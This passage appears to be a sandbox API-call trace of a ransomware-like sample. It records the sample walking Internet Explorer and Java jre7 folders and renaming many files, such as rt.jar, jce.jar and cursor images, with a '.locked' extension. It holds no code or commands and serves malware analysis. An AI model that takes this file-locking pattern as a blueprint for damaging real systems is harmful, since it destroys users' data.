lpFileName="C:\\\\Program Files (x86)\\Internet Explorer\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe9b3bb20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b3bb20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0118.646] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Internet Explorer\\en-US\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea40f84, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe9b3bb20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b3bb20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0118.647] GetFileType (hFile=0x120) returned 0x1 [0118.648] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Internet Explorer\\SIGNUP\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xe9b3bb20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b3bb20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0118.648] GetFileType (hFile=0x108) returned 0x1 [0118.649] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\*", lpFindFileData=0x42d8c0 | out: lpFindFileData=0x42d8c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe9b3bb20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b3bb20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42d6a8, cFileName=".", cAlternateFileName="")) returned 0x825810 [0118.651] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x734f7d60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe9b3bb20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b3bb20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0118.653] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\bin\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7438c420, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe9b61c80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b61c80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0118.655] GetFileType (hFile=0xc4) returned 0x1 [0118.656] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\bin\\client\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe9b61c80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b61c80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0118.660] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\xusage.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\bin\\client\\xusage.txt.locked"), dwFlags=0x2) returned 1 [0118.663] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe9b61c80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b61c80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0118.666] GetFileType (hFile=0xc4) returned 0x1 [0118.667] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe9b61c80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b61c80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0118.671] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe9b87de0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9b87de0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0118.883] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\alt-rt.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\alt-rt.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\alt-rt.jar.locked"), dwFlags=0x2) returned 1 [0118.884] GetFileType (hFile=0xc4) returned 0x1 [0118.886] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\applet\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xe9d76fc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xe9d76fc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0119.391] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\charsets.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\charsets.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\charsets.jar.locked"), dwFlags=0x2) returned 1 [0119.395] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\cmm\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7444ab00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea25fd20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xea25fd20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0119.402] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\currency.data" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\currency.data"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\currency.data.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\currency.data.locked"), dwFlags=0x2) returned 1 [0119.406] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea285e80, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xea285e80, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0119.426] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\ffjcext.zip.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\ffjcext.zip.locked"), dwFlags=0x2) returned 1 [0119.428] GetFileType (hFile=0xd4) returned 0x1 [0119.431] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\jqs\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea2abfe0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xea2abfe0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0119.451] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\splash.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\splash.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy\\splash.gif.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy\\splash.gif.locked"), dwFlags=0x2) returned 1 [0119.964] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\deploy.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\deploy.jar.locked"), dwFlags=0x2) returned 1 [0119.969] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74470c60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xea7e1000, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xea7e1000, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0120.055] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\access-bridge-32.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\access-bridge-32.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\access-bridge-32.jar.locked"), dwFlags=0x2) returned 1 [0120.088] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\dnsns.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\dnsns.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\dnsns.jar.locked"), dwFlags=0x2) returned 1 [0120.132] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\jaccess.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\jaccess.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\jaccess.jar.locked"), dwFlags=0x2) returned 1 [0120.798] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\localedata.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\localedata.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\localedata.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\localedata.jar.locked"), dwFlags=0x2) returned 1 [0120.822] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunec.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunec.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunec.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunec.jar.locked"), dwFlags=0x2) returned 1 [0121.051] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunjce_provider.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunjce_provider.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunjce_provider.jar.locked"), dwFlags=0x2) returned 1 [0121.083] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunmscapi.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunmscapi.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunmscapi.jar.locked"), dwFlags=0x2) returned 1 [0121.371] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunpkcs11.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunpkcs11.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\sunpkcs11.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\sunpkcs11.jar.locked"), dwFlags=0x2) returned 1 [0121.439] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\zipfs.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\zipfs.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\ext\\zipfs.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\ext\\zipfs.jar.locked"), dwFlags=0x2) returned 1 [0121.445] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\fonts\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xeb5dd140, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeb5dd140, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0121.447] GetFileType (hFile=0xc4) returned 0x1 [0121.447] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\i386\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xeb6032a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeb6032a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0121.451] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\jvm.cfg"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\i386\\jvm.cfg.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\i386\\jvm.cfg.locked"), dwFlags=0x2) returned 1 [0121.454] GetFileType (hFile=0xc4) returned 0x1 [0121.455] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xeb6032a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeb6032a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0121.458] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\*", lpFindFileData=0x42b320 | out: lpFindFileData=0x42b320*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xeb6032a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xeb6032a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42b108, cFileName=".", cAlternateFileName="")) returned 0x825950 [0121.462] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\invalid32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\invalid32x32.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\invalid32x32.gif.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\invalid32x32.gif.locked"), dwFlags=0x2) returned 1 [0121.464] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copydrop32x32.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyDrop32x32.gif.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copydrop32x32.gif.locked"), dwFlags=0x2) returned 1 [0121.467] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_copynodrop32x32.gif.locked"), dwFlags=0x2) returned 1 [0121.470] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linkdrop32x32.gif.locked"), dwFlags=0x2) returned 1 [0121.473] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_linknodrop32x32.gif.locked"), dwFlags=0x2) returned 1 [0121.475] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movedrop32x32.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movedrop32x32.gif.locked"), dwFlags=0x2) returned 1 [0121.478] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\images\\cursors\\win32_movenodrop32x32.gif.locked"), dwFlags=0x2) returned 1 [0122.030] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javaws.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\javaws.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\javaws.jar.locked"), dwFlags=0x2) returned 1 [0122.137] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jce.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jce.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jce.jar.locked"), dwFlags=0x2) returned 1 [0122.139] GetFileType (hFile=0xc4) returned 0x1 [0122.140] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jfr\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x74496dc0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xebc8ef20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xebc8ef20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0122.677] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jfr.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfr.jar.locked"), dwFlags=0x2) returned 1 [0123.219] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfxrt.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jfxrt.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jfxrt.jar.locked"), dwFlags=0x2) returned 1 [0123.727] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jsse.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jsse.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jsse.jar.locked"), dwFlags=0x2) returned 1 [0123.737] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jvm.hprof.txt"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\jvm.hprof.txt.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\jvm.hprof.txt.locked"), dwFlags=0x2) returned 1 [0123.741] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\management\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744bcf20, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xecbe1cc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xecbe1cc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0123.743] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\management-agent.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management-agent.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\management-agent.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\management-agent.jar.locked"), dwFlags=0x2) returned 1 [0124.239] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\plugin.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\plugin.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\plugin.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\plugin.jar.locked"), dwFlags=0x2) returned 1 [0124.839] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\resources.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\resources.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\resources.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\resources.jar.locked"), dwFlags=0x2) returned 1 [0125.348] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\rt.jar" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\rt.jar"), lpNewFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\rt.jar.locked" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\rt.jar.locked"), dwFlags=0x2) returned 1 [0125.354] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Java\\jre7\\lib\\security\\*", 